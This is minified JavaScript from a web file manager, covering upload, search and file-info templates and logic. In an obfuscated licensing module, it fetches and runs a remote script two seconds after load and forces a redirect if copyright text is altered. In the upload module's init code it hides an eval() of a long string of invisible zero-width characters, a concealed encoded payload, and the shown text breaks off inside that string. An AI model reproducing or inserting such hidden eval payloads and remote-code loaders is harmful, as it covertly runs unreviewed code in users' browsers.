0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>"); +else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌